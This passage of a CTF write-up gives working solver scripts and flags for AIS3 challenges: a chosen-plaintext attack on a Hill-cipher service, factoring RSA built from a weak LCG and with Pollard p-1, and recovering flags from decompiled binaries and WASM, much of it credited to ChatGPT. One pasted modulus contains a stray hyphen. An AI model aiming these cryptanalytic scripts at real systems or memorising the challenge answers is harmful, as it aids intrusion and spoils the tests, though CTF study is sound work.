HOST, PORT = "chals1.ais3.org", 18000
NUM_RE = re.compile(r"-?\d+")
# ---------- Reading Utilities ---------- #
def read_until_prompt(io):
"""Receive vectors until 'input:' is seen"""
vecs = []
count = 0
while True:
line = io.recvline().decode()
nums = list(map(int, NUM_RE.findall(line)))
print(line.strip())
if len(nums) == 8:
vecs.append(nums)
if count == 5:
io.send(build_payload())
return np.array(vecs, dtype=int) % p
count += 1
def read_to_eof(io):
"""Receive vectors until the connection is closed"""
data = io.recvall().decode()
# print(data)
vecs = [list(map(int, NUM_RE.findall(l)))
for l in data.splitlines() if len(NUM_RE.findall(l)) == 8]
array = np.array(vecs, dtype=int) % p
# print(f"[+] Received {len(array)} lines of vectors")
print(array)
return array
# ---------- payload ---------- #
ZERO = ord('0') # 48
ONE = ord('1') # 49 = ZERO+1
def block_baseline():
return bytes([ZERO]*n)
def block_e(k):
v = [ZERO]*n
v[k] = ONE
return bytes(v)
def build_payload():
blocks = [block_baseline(), block_baseline()] # 2 baseline
for k in range(n):
blocks.append(block_e(k)) # r_k
blocks.append(block_baseline()) # baseline again
return b"".join(blocks) + b"\n" # 18*8 = 144 bytes + '\n'
# ---------- Main Program ---------- #
def main():
io = remote(HOST, PORT)
C_flag = read_until_prompt(io) # 1️⃣ Get flag ciphertext
# io.send(build_payload()) # 2️⃣ Send payload
C_probe = read_to_eof(io) # 3️⃣ Get 18 lines of ciphertext
io.close()
if len(C_probe) != 18:
print(f"[!] Expected 18 lines of probe ciphertext, but received {len(C_probe)} lines")
print(C_probe)
return
print("========")
print(f"C_flag: {C_flag}")
print("========")
print(f"C_probe: {C_probe}")
print("========")
A_v = C_probe[0] # A·v
AB_v = C_probe[1] # (A+B)·v
# The formula only needs AB_v from now on
# ---------- Recover A, B ---------- #
A_cols, B_cols = [], []
for k in range(n):
c_r = C_probe[2 + 2*k] # A·(v+δ_k) + B·v = AB_v + A·δ_k
c_b = C_probe[3 + 2*k] # A·v + B·(v+δ_k) = AB_v + B·δ_k
A_cols.append((c_r - AB_v) % p) # A·δ_k
B_cols.append((c_b - AB_v) % p) # B·δ_k
A = np.column_stack(A_cols) % p
B = np.column_stack(B_cols) % p
A_inv = np.array(sp.Matrix(A).inv_mod(p)).astype(int)
# ---------- Decrypt Flag ---------- #
M = []
for i, c in enumerate(C_flag):
if i == 0:
m = (A_inv @ c) % p
else:
m = (A_inv @ ((c - B @ M[i-1]) % p)) % p
M.append(m)
plaintext = bytearray(np.concatenate(M).tolist()).split(b"\x00")[0]
print(len(plaintext), "bytes")
print("FLAG:", plaintext.decode(errors="ignore"))
if __name__ == "__main__":
main()- Flag:
AIS3{b451c_h1ll_c1ph3r_15_2_3z_f0r_u5}
Random_RSA#
Explanation#
- This challenge was also solved by ChatGPT. Here is its explanation:
Solution Flow Overview#
Use \(h_0,h_1,h_2\) to find the LCG parameters
$$ $$$$\begin{cases} h_1 \equiv a h_0 + b \pmod M\ h_2 \equiv a h_1 + b \pmod M \end{cases} ;\Longrightarrow; a\equiv(h_2-h_1)(h_1-h_0)^{-1},; b\equiv h_1-a h_0 \pmod M
$$ $$$$ $$
Write the closed-form for “iterating \(t\) steps”
$$ $$$$\operatorname{rng}^{,t}(x)=A_t x+B_t,; A_t=a^{t},; B_t=b\frac{a^{t}-1}{a-1}\pmod M
$$ $$$$ $$
Set up a quadratic congruence and brute-force \(t\) The problem guarantees that \(q=\operatorname{rng}^{,t}(p)\) is the next prime:
$$ $$$$(A_t p+B_t)p\equiv n\bmod M
$$ $$$$Which is
$$ $$$$A_t p^2 + B_t p - n_M\equiv 0\pmod M.
$$ $$$$For each \(t=1,2,\dots\) (usually a solution is found for \(t < 1000\)):
- Calculate the discriminant \(D=B_t^2+4A_t n_M\pmod M\).
- Use Tonelli-Shanks to find the square root and get candidate \(p\).
- Let \(g=\gcd(p_{\text{cand}},n)\). If \(1<g<n\), you have found the real \(p\).
After getting \(p,q\), recover the plaintext
- \(\varphi=(p-1)(q-1)\)
- \(d=e^{-1}\bmod \varphi\)
- \(m=c^{,d}\bmod n\)
- Convert to bytes to get the flag.
Why this works#
- With three consecutive RNG outputs, \((a,b)\) can be uniquely determined.
- The relationship between \(p\) and \(q\) is just a fixed number of LCG iterations, so \(p\) can be solved with a single quadratic congruence.
- Since \(M\) is a 512-bit prime, Tonelli-Shanks for modular square root is mathematically feasible and computationally fast.
The overall complexity is low, and the implementation is less than a hundred lines of Python, making it a classic case of “improper use of random numbers → RSA collapse”.
Solution#
#!/usr/bin/env python3
from math import gcd
from sympy import invert, sqrt_mod, isprime
from binascii import unhexlify, hexlify
# ---------- Paste the values from output.txt here ----------
h0 = 2907912348071002191916245879840138889735709943414364520299382570212475664973498303148546601830195365671249713744375530648664437471280487562574592742821690
h1 = 5219570204284812488215277869168835724665994479829252933074016962454040118179380992102083718110805995679305993644383407142033253210536471262305016949439530
h2 = 3292606373174558349287781108411342893927327001084431632082705949610494115057392108919491335943021485430670111202762563173412601653218383334610469707428133
M = 9231171733756340601102386102178805385032208002575584733589531876659696378543482750405667840001558314787877405189256038508646253285323713104862940427630413
n = 20599328129696557262047878791381948558434171582567106509135896622660091263897671968886564055848784308773908202882811211530677559955287850926392376242847620181251966209002883852930899738618123390979377039185898110068266682754465191146100237798667746852667232289994907159051427785452874737675171674258299307283
e = 65537
c = 13859390954352613778444691258524799427895807939215664222534371322785849647150841939259007179911957028718342213945366615973766496138577038137962897225994312647648726884239479937355956566905812379283663291111623700888920153030620598532015934309793660829874240157367798084893920288420608811714295381459127830201
# -------------------------------------------------
# 1. Find a, b
inv = invert(h1 - h0, M)
a = (h2 - h1) * inv % M
b = (h1 - a * h0) % M
assert (a * h0 + b) % M == h1
# 2. Scan for t
nM = n % M
ainv = invert(a - 1, M)
p = q = None
for t in range(1, 1001):
A = pow(a, t, M)
B = (A - 1) * b * ainv % M
# A p^2 + B p - nM ≡ 0 (mod M)
D = (B * B + 4 * A * nM) % M # Note C = -nM
roots = sqrt_mod(D, M, all_roots=True)
if not roots:
continue
inv2A = invert(2 * A, M)
for r in roots:
p_cand = (-B + r) * inv2A % M
if p_cand in (0, M):
continue
g = gcd(p_cand, n)
if 1 < g < n:
p = g
q = n // g
break
if p:
break
assert p and q and p * q == n and isprime(p) and isprime(q)
print("[+] factor found, t =", t)
print("p =", p)
print("q =", q)
# 3. Recover FLAG
phi = (p - 1) * (q - 1)
# This line maintains SymPy's precision
d = invert(e, phi)
# --------- Modified part ---------
m_int = pow(c, int(d), n) # Only convert d to int here
# Or simply:
# d = int(invert(e, phi))
# m_int = pow(c, d, n)
# --------------------------------
flag = m_int.to_bytes((m_int.bit_length() + 7) // 8, "big")
print(flag.decode())- Flag:
AIS3{1_d0n7_r34lly_why_1_d1dn7_u53_637pr1m3}
Happy Happy Factoring#
Explanation#
- Finally, a problem that ChatGPT couldn’t solve. After several hours of trying without success, I decided to look up how to factor large numbers myself.
- I saw
get_pollard_prime()and decided to search for it. I found a website explaining Pollard’s p - 1 Algorithm. - After copying the code, I was able to successfully factor out one number:
p₀ = 37021275572790082192379533288704688535293473545958385025549690675904471573219980209972828244025329762230759053863199755658020475141048058736510710680444844461116108035174159013570815934305537913272505253121747245324932852742564134158131504996633322520519431558100438167 (bits: 893)- After giving this to ChatGPT, it told me that by using the relationship \(d \equiv e^{-1} \mod (p₀ - 1)\) and then \(m = c^d \mod p₀\), I could recover the flag.
Solution#
from sympy import mod_inverse
from math import gcd, log2
# https://oalieno.tw/posts/pollard
n = 6076371898836373201471437824050323936337871634478606442763310390016371479504903134353097633338484909257453108895827853179679126927403304524746827977869783427105669770338404334547827441783033121807664735716344798577681398942740017052543767854782649941254268665101721802897086419021690461561052782525988011271455378780482002221589096943739847437270250706341269070468955029571571021072666348614141483986674619539019005068947879378899497111312024704498030844481672834328537721771974341724359798403050828194350947177981973814258740118539152582895727733205017379071236463035036457364526967056659975712492455631861878098868018977732707670645970768468421259200863179381666291210806540859390998852534744292518104128227621850907171154127772936873873576424365419568741195010052714873626669729000865357036156710371869268695026582340900815042522369945985289822316214702906444773773060279459513810710811516122521130428158819610144254106484933-008562407763991926621847592601902683428609532252930779780356001911861751533522307663100324743927752305881709125266949216817874124236017467949448675716346763692924023726148784017135614973119630683596746148387050812840110466838283975867125038922845823807931521243892970213719547931807222621641732942788807438874234021460457789662655868012096318135427733535828701239344723536380874649435986485519446498010249439129416294059581506089078379364874801633348823482500982032017362540718382857218498839339
e = 65537
c = 44207030878602255093439727713627529424714536888513933329918295258695649333115968449370359700222302579245312436480617326596647245058051575370999951904443151550015706074625370328401332779076604686192843031449186235749865643368166253840337277509707994397801878226500358006463024635087435969538998524734582405866525600851546459050191793239073846810455635211879914050737467404026533874103858418973673243458902849516794733035491504110489194944517745006206578407001620379259037944572489812890427482523341875844231406658507757087786915450447369790738422106207343811320979464959215733209780327553156828306906699830103249980426322575134388451893085145613033052707119244509600245343514769051601842478130345500737780120982516001378114355893400613318479527209307727381442878249151936468300312623822839419034585228514262658066842576813177085447513589259064467260172762603680019928473807935131716584215553191881403885379486263800885157417935351355285318307493812608156009093176418157547185476076384813081081655591478637089927732990897838102722736056096469961634469383933144558941569830176969764313728115821455037916103169727305546266609284138398242237907130652437778206322442252293263897704265426827967602427841795290642868172013365981708186335407114033847578653977681421086305327283866009608036787400010585809721949312065234506464271259806098824737010873785025492695022775753403396509548322949271103192949782516909378429902333959165240991
def pollard(n) -> int:
a, b = 2, 2
while True:
a, b = pow(a, b, n), b + 1
d = gcd(a - 1, n)
if 1 < d < n:
return d
p0 = pollard(n)
print(f"[+] p₀ = {p0} (bits: {int(log2(p0))+1})")
# Decrypt
d = mod_inverse(e, p0 - 1)
m = pow(c, d, p0)
flag = m.to_bytes((m.bit_length() + 7) // 8, "big").decode()
print("[+] flag:", flag)- Flag:
AIS3{H@ppY_#ap9y_CRypT0_F4(7or1n&~~~}
Rev#
AIS3 Tiny Server - Reverse#
Explanation#
- This challenge was solved by ChatGPT.
- First, I threw the binary into IDA and found a function that looked like this:
_BOOL4 __cdecl sub_1E20(int a1)
{
unsigned int v1; // ecx
char v2; // si
char v3; // al
int i; // eax
char v5; // dl
_BYTE v7[10]; // [esp+7h] [ebp-49h] BYREF
_DWORD v8[11]; // [esp+12h] [ebp-3Eh]
__int16 v9; // [esp+3Eh] [ebp-12h]
v1 = 0;
v2 = 51;
v9 = 20;
v3 = 114;
v8[0] = 1480073267;
v8[1] = 1197221906;
v8[2] = 254628393;
v8[3] = 920154;
v8[4] = 1343445007;
v8[5] = 874076697;
v8[6] = 1127428440;
v8[7] = 1510228243;
v8[8] = 743978009;
v8[9] = 54940467;
v8[10] = 1246382110;
qmemcpy(v7, "rikki_l0v3", sizeof(v7));
while ( 1 )
{
*((_BYTE *)v8 + v1++) = v2 ^ v3;
if ( v1 == 45 )
break;
v2 = *((_BYTE *)v8 + v1);
v3 = v7[v1 % 0xA];
}
for ( i = 0; i != 45; ++i )
{
v5 = *(_BYTE *)(a1 + i);
if ( !v5 || v5 != *((_BYTE *)v8 + i) )
return 0;
}
return *(_BYTE *)(a1 + 45) == 0;
}int __cdecl sub_2110(int fd, int a2)
{
char *p_s; // esi
char v3; // al
char *v4; // eax
char *v5; // eax
int result; // eax
int v7; // eax
char *v8; // edi
_BYTE *v9; // esi
char *v10; // ebp
__int16 v11; // ax
signed int v12; // ecx
char *v13; // eax
__int16 v14; // [esp+Dh] [ebp-102Bh] BYREF
char v15; // [esp+Fh] [ebp-1029h]
_DWORD v16[2]; // [esp+10h] [ebp-1028h] BYREF
char v17; // [esp+18h] [ebp-1020h]
char s; // [esp+19h] [ebp-101Fh] BYREF
unsigned __int8 v19; // [esp+810h] [ebp-828h] BYREF
char v20[1023]; // [esp+811h] [ebp-827h] BYREF
_DWORD v21[3]; // [esp+C10h] [ebp-428h] BYREF
char v22; // [esp+C1Ch] [ebp-41Ch] BYREF
*(_DWORD *)(a2 + 512) = 0;
*(_DWORD *)(a2 + 516) = 0;
v21[0] = fd;
v21[1] = 0;
v21[2] = &v22;
sub_17E0(v21, v16, 1024);
__isoc99_sscanf();
do
{
if ( LOBYTE(v16[0]) == 10 || BYTE1(v16[0]) == 10 )
{
result = v19;
v8 = (char *)&v19;
v9 = (_BYTE *)a2;
if ( v19 == 47 )
{
v8 = v20;
v12 = strlen(v20);
if ( !v12 )
{
v15 = 0;
v8 = ".";
v14 = 0;
LOBYTE(result) = 46;
goto LABEL_24;
}
v13 = v20;
while ( *v13 != 63 )
{
if ( v12 <= ++v13 - (char *)&v19 - 1 )
{
v9 = (_BYTE *)a2;
result = (unsigned __int8)v20[0];
goto LABEL_23;
}
}
*v13 = 0;
v9 = (_BYTE *)a2;
result = (unsigned __int8)v20[0];
}
LABEL_23:
v15 = 0;
v14 = 0;
if ( !(_BYTE)result )
{
LABEL_29:
*v9 = 0;
return result;
}
LABEL_24:
v10 = v8;
while ( 1 )
{
++v9;
if ( (_BYTE)result == 37 )
{
v11 = *(_WORD *)(v10 + 1);
v10 += 3;
v14 = v11;
*(v9 - 1) = strtoul((const char *)&v14, 0, 16);
result = (unsigned __int8)*v10;
if ( !(_BYTE)result )
goto LABEL_29;
}
else
{
++v10;
*(v9 - 1) = result;
result = (unsigned __int8)*v10;
if ( !(_BYTE)result )
goto LABEL_29;
}
if ( (_BYTE *)(a2 + 1023) == v9 )
goto LABEL_29;
}
}
sub_17E0(v21, v16, 1024);
if ( LOBYTE(v16[0]) == 82 && *(_WORD *)((char *)v16 + 1) == 28257 )
{
__isoc99_sscanf();
v7 = *(_DWORD *)(a2 + 516);
if ( v7 )
*(_DWORD *)(a2 + 516) = v7 + 1;
}
}
while ( v16[0] != 861096257 || v16[1] != 1634485805 || v17 != 103 );
p_s = &s;
if ( s == 58 || s == 32 )
{
do
{
do
v3 = *++p_s;
while ( v3 == 32 );
}
while ( v3 == 58 );
}
v4 = strchr(p_s, 13);
if ( v4 )
*v4 = 0;
v5 = strchr(p_s, 10);
if ( v5 )
*v5 = 0;
if ( sub_1E20((int)p_s) )
sub_1F90(fd, 200, (int)"Flag Correct!", "Congratulations! You found the correct flag!", 0);
else
sub_1F90(fd, 403, (int)"Wrong Flag", "Sorry, that's not the correct flag. Try again!", 0);
return close(fd);
}- After feeding this to ChatGPT, it provided the following analysis:
Challenge Brief#
This is a reverse engineering challenge for the AIS3 Tiny Server. The goal is to analyze the “flag checker” (sub_1E20) in the server binary, recover the correct flag string, and submit it to sub_2110 for verification to get the “Flag Correct!” response.
Core Flow#
Locate the Checking Function
- In
.rodata, find keywords likeFlag Correct!,Wrong Flag,AIS3-Flag:, etc., and use xrefs (cross-references) to locatesub_2110. - From
sub_2110, parse how it reads the HTTP request, decodes the URL (percent-decode), and callssub_1E20for verification.
- In
Understand the Logic of
sub_1E20v7[10] = "rikki_l0v3"serves as the key stream.v8[11](the original constant array, 11×4 bytes) is just a placeholder and is immediately overwritten.- Using two temporary variables
v2=51andv3=114(ASCII ‘r’), the loop performsv8[i] = v2 ^ v3for each position, and updatesv2=v8[i],v3=v7[(i+1)%10], generating a total of 45 bytes.
Recreate the XOR Stream to Generate the Flag
- The original constant array is not needed. Starting directly from
v2,v3, andkey, iterate 45 times according to the C code, calculateb = v2 ^ v3, and collect the results intoflag_bytes. - Convert
flag_bytesto ASCII to get the flag in the formatAIS3{...}.
- The original constant array is not needed. Starting directly from
Submit and Verify
- Place the recovered flag in the URL, for example,
GET /check?AIS3{...}. The server responds with “Flag Correct!”, completing the challenge.
- Place the recovered flag in the URL, for example,
Summary#
- Use IDA to find data sections and function cross-references to quickly locate the flag checking path.
- Deduce the logic for “generating plaintext” from the XOR loop in
sub_1E20, rather than decrypting an existing ciphertext. - Replicate the loop in Python to get the 45-byte flag in the format
AIS3{...}, which is the final answer.
Solution#
from struct import pack
# 1) Pack v8[0..10] constants into 44 bytes
ints = [
1480073267, 1197221906, 254628393, 920154,
1343445007, 874076697, 1127428440, 1510228243,
743978009, 54940467, 1246382110,
]
raw = b''.join(pack("<I", i) for i in ints)
# Append one byte to make a total of 45 bytes
raw += b'\x00'
assert len(raw) == 45
key = b"rikki_l0v3" # v7 key stream
v2 = 51 # initial v2 value
v3 = 114 # initial v3 value ('r')
flag_bytes = bytearray(45)
for i in range(45):
# Write v8[i] = v2 ^ v3
flag_bytes[i] = v2 ^ v3
# In C, they break after writing the 45th byte
if i == 44:
break
# Update v2 and v3 for the next iteration
# v2 := next byte from the original constant array
v2 = raw[i + 1]
# v3 := key[(i+1) % 10]
v3 = key[(i + 1) % len(key)]
flag = flag_bytes.decode()
print("Flag:", flag)- Flag:
AIS3{w0w_a_f1ag_check3r_1n_serv3r_1s_c00l!!!}
web flag checker#
Explanation#
- After entering the website, opening F12 reveals an
index.wasmfile.
- After feeding the
flagcheckerandfunc8from it to ChatGPT, it was even able to spit out the answer on its own…
- Here is the process breakdown from ChatGPT:
Solution Flow Overview#
- Locate the Verification Function
After decompiling
index.wasm,flagcheckerand its helper functionfunc8are found.flagcheckersplits the input into 5 segments of 8 bytes each, callsfunc8on each segment, and compares the result with 5 hardcoded 64-bit constants.
2. Reverse the Behavior of func8#
func8(x, s) is equivalent to a 64-bit rotate-left:
$$ROL_{64}(x,s)=\bigl((x \ll s) \mid (x \gg (64-s))\bigr) \And 0x\text{FFFFFFFFFFFFFFFF}$$
Therefore, to reverse it, we just need to perform a rotate-right of the same number of bits on the constant.
3. Calculate the Shift Amount for Each Segment#
The shift amount comes from the integer \(-39934163\) (hex 0xFD9EA72D):
$$ \text{shift}_i =\bigl(0x\text{FD9EA72D} \gg (6,i)\bigr)\And 0x3F, \qquad i = 0,1,2,3,4 $$This results in \(45, 28, 42, 39, 61\).
- Obtain the 5 Target Constants Decompilation reveals them:
0x69282A668AEF666A
0x633525F4D7372337
0x9DB9A5A0DCC5DD7D
0x9833AFAFB8381A2F
0x6FAC8C8726464726- Inverse Transform and Combine
Perform
ROR64(const, shift_i)on each constant, then convert it to an 8-byte string in little-endian order and concatenate them to recover the original 40-byte string.
Solution#
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from __future__ import annotations
# ---------- helper -----------------------------------------------------------
def rot_r64(x: int, n: int) -> int:
"""Return x rotated right by n (64-bit unsigned)."""
n &= 63 # only the low 6 bits matter
return ((x >> n) | (x << (64 - n))) & 0xFFFFFFFFFFFFFFFF
# ---------- data extracted from the wasm module -----------------------------
TARGETS: list[int] = [
0x69282A668AEF666A,
0x633525F4D7372337,
0x9DB9A5A0DCC5DD7D,
0x9833AFAFB8381A2F,
0x6FAC8C8726464726,
]
SHIFT_KEY = 0xFD9EA72D # -39934163 as unsigned 32-bit
SHIFTS: list[int] = [(SHIFT_KEY >> (6 * i)) & 0x3F for i in range(5)]
# ⇒ [45, 28, 42, 39, 61]
# ---------- main ------------------------------------------------------------
flag_bytes = bytearray()
for target, shift in zip(TARGETS, SHIFTS):
# Inverse transform: right-rotate by the same amount
plain = rot_r64(target, shift)
# The WASM code treats each 64-bit chunk as little-endian when loading
# from memory, so we must export it as little-endian as well.
flag_bytes.extend(plain.to_bytes(8, byteorder="little"))
flag = flag_bytes.decode(errors="replace") # should be pure ASCII
print(flag) # → AIS3{...}- Flag:
AIS3{W4SM_R3v3rsing_w17h_g0_4pp_39229dd}
A_simple_snake_game#
Explanation#
- This challenge was solved by ChatGPT.
- First, I threw the entire
a.exeinto IDA to take a look. While Browse, I came acrossSnakeGame::Screen::drawText, which seemed suspicious. I copied all of it and gave it to ChatGPT, which then spat out the answer.
void __userpurge SnakeGame::Screen::drawText(_DWORD *a1@<ecx>, SnakeGame::Screen *this, int a3, int a4)
{
unsigned int v4; // eax
int v5; // eax
char *v6; // eax
char *Error; // eax
int v8; // eax
char v9; // [esp+13h] [ebp-F5h]
char lpuexcpt; // [esp+14h] [ebp-F4h]
struct _Unwind_Exception *lpuexcpta; // [esp+14h] [ebp-F4h]
struct _Unwind_Exception *lpuexcptb; // [esp+14h] [ebp-F4h]
_DWORD v14[10]; // [esp+5Dh] [ebp-ABh] BYREF
__int16 v15; // [esp+85h] [ebp-83h]
char v16; // [esp+87h] [ebp-81h]
_DWORD v17[4]; // [esp+88h] [ebp-80h] BYREF
int v18; // [esp+98h] [ebp-70h]
_BYTE v19[24]; // [esp+9Ch] [ebp-6Ch] BYREF
_DWORD v20[5]; // [esp+B4h] [ebp-54h] BYREF
_BYTE v21[27]; // [esp+C8h] [ebp-40h] BYREF
char v22; // [esp+E3h] [ebp-25h] BYREF
int TextureFromSurface; // [esp+E4h] [ebp-24h]
int v24; // [esp+E8h] [ebp-20h]
unsigned int i; // [esp+ECh] [ebp-1Ch]
if ( (int)this <= 11451419 || a3 <= 19810 )
{
SnakeGame::Screen::createText[abi:cxx11](a1, this, a3);
v20[4] = 0xFFFFFF;
v8 = std::string::c_str(v21);
a1[3] = TTF_RenderText_Solid(a1[5], v8, 0xFFFFFF);
a1[4] = SDL_CreateTextureFromSurface(a1[1], a1[3]);
v20[0] = 400;
v20[1] = 565;
v20[2] = 320;
v20[3] = 30;
SDL_RenderCopy(a1[1], a1[4], 0, v20);
std::string::~string(v21);
}
else
{
v14[0] = -831958911;
v14[1] = -1047254091;
v14[2] = -1014295699;
v14[3] = -620220219;
v14[4] = 2001515017;
v14[5] = -317711271;
v14[6] = 1223368792;
v14[7] = 1697251023;
v14[8] = 496855031;
v14[9] = -569364828;
v15 = 26365;
v16 = 40;
std::allocator<char>::allocator(&v22);
std::string::basic_string(v14, 43, &v22);
std::allocator<char>::~allocator(&v22);
for ( i = 0; ; ++i )
{
v4 = std::string::length(v19);
if ( i >= v4 )
break;
lpuexcpt = *(_BYTE *)std::string::operator[](i);
v9 = SnakeGame::hex_array1[i];
*(_BYTE *)std::string::operator[](i) = v9 ^ lpuexcpt;
}
v18 = 0xFFFFFF;
v5 = std::string::c_str(v19);
v24 = TTF_RenderText_Solid(a1[5], v5, v18);
if ( v24 )
{
TextureFromSurface = SDL_CreateTextureFromSurface(a1[1], v24);
if ( TextureFromSurface )
{
v17[0] = 200;
v17[1] = 565;
v17[2] = 590;
v17[3] = 30;
SDL_RenderCopy(a1[1], TextureFromSurface, 0, v17);
SDL_FreeSurface(v24);
SDL_DestroyTexture(TextureFromSurface);
}
else
{
lpuexcptb = (struct _Unwind_Exception *)std::operator<<<std::char_traits<char>>(
(std::ostream::sentry *)&std::cerr,
"SDL_CreateTextureFromSurface: ");
Error = (char *)SDL_GetError();
std::operator<<<std::char_traits<char>>((std::ostream::sentry *)lpuexcptb, Error);
std::ostream::operator<<(std::endl<char,std::char_traits<char>>);
SDL_FreeSurface(v24);
}
}
else
{
lpuexcpta = (struct _Unwind_Exception *)std::operator<<<std::char_traits<char>>(
(std::ostream::sentry *)&std::cerr,
"TTF_RenderText_Solid: ");
v6 = (char *)SDL_GetError();
std::operator<<<std::char_traits<char>>((std::ostream::sentry *)lpuexcpta, v6);
std::ostream::operator<<(std::endl<char,std::char_traits<char>>);
}
std::string::~string(v19);
}
}- Here is ChatGPT’s explanation:
Flow Overview#
In SnakeGame::Screen::drawText, a “high score branch” was discovered that XORs a hardcoded ciphertext with a global array hex_array1 and then renders the result to the screen. By isolating and executing this logic offline, the flag can be directly recovered.
1. Locate the Suspicious Function#
- In IDA/Ghidra, trace strings or SDL font APIs, and you’ll see
TTF_RenderText_SolidandSDL_RenderCopyinsidedrawText. - The first half of the function is just for normal text display; but when
this > 11451419anda3 > 19810, the program switches to another branch and loads a large number of constants, which is clearly for decoding a hidden message.
2. Obtain the Ciphertext#
- The branch contains ten 32-bit integers in
v14[], plusv15(0x670D= 26365) andv16(0x28= 40). - These 43 bytes are treated as the “raw string” by
std::string(v14, 43, …)and put intov22, which is the ciphertext.
3. Obtain the Key#
- In the
.datasection,SnakeGame::hex_array1is found:
C0 19 3A FD CE 68 DC F2 0C 47 D4 86 AB 57 …- The first 43 bytes are the same length as the ciphertext bytes, which is the key for the XOR operation.
4. XOR Decryption#
- The program implements:
plaintext[i] = ciphertext[i] ^ key[i], overwritingv22[i]one by one. - This can be quickly reproduced in Python for offline decoding.
5. Key Takeaways#
- Conditional branches hide the password: it’s only displayed at high scores or in specific states.
- Ciphertext + Key = XOR is a very common CTF technique.
- There’s no need to actually “beat the game” or dynamically patch memory; statically copying out the constants is enough to solve it, which is time-saving and safe.
Solution#
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Decrypt the flag hidden in SnakeGame::Screen::drawText.
The game stores a 43-byte ciphertext in ten 32-bit integers (v14[0‥9])
followed by one 16-bit integer (v15) and one 8-bit integer (v16).
Each byte is XORed with the corresponding byte in the global
array SnakeGame::hex_array1. Reversing that XOR yields the flag.
"""
import struct
# ---------------------------------------------------------------------------
# 1) Ciphertext bytes — values copied directly from the disassembly
# v14 are signed 32-bit, but we treat them as little-endian unsigned.
# ---------------------------------------------------------------------------
v14 = [
-831958911,
-1047254091,
-1014295699,
-620220219,
2001515017,
-317711271,
1223368792,
1697251023,
496855031,
-569364828,
]
v15 = 26365 # 0x670D (16-bit)
v16 = 0x28 # 40 (8-bit)
# Pack the integers into bytes (little-endian, 32-bit for v14,
# 16-bit for v15, 8-bit for v16)
cipher_bytes = b"".join(struct.pack("<I", x & 0xFFFFFFFF) for x in v14)
cipher_bytes += struct.pack("<H", v15) + struct.pack("<B", v16)
assert len(cipher_bytes) == 43, "Ciphertext length should be 43 bytes"
# ---------------------------------------------------------------------------
# 2) Key bytes — first 43 bytes of SnakeGame::hex_array1
# ---------------------------------------------------------------------------
key_bytes = bytes([
0xC0, 0x19, 0x3A, 0xFD, 0xCE, 0x68, 0xDC, 0xF2, 0x0C, 0x47,
0xD4, 0x86, 0xAB, 0x57, 0x39, 0xB5, 0x3A, 0x8D, 0x13, 0x47,
0x3F, 0x7F, 0x71, 0x98, 0x6D, 0x13, 0xB4, 0x01, 0x90, 0x9C,
0x46, 0x3A, 0xC6, 0x33, 0xC2, 0x7F, 0xDD, 0x71, 0x78, 0x9F,
0x93, 0x22, 0x55
])
assert len(key_bytes) == 43, "Key length should be 43 bytes"
# ---------------------------------------------------------------------------
# 3) XOR decryption
# ---------------------------------------------------------------------------
plaintext = bytes(c ^ k for c, k in zip(cipher_bytes, key_bytes))
# ---------------------------------------------------------------------------
# 4) Show the flag
# ---------------------------------------------------------------------------
try:
print("Flag:", plaintext.decode()) # ASCII / UTF-8 expected
except UnicodeDecodeError:
print("Flag bytes:", plaintext) # Fallback if encoding fails- Flag:
AIS3{CH3aT_Eng1n3?_0fcau53_I_bo_1T_by_hAnD}
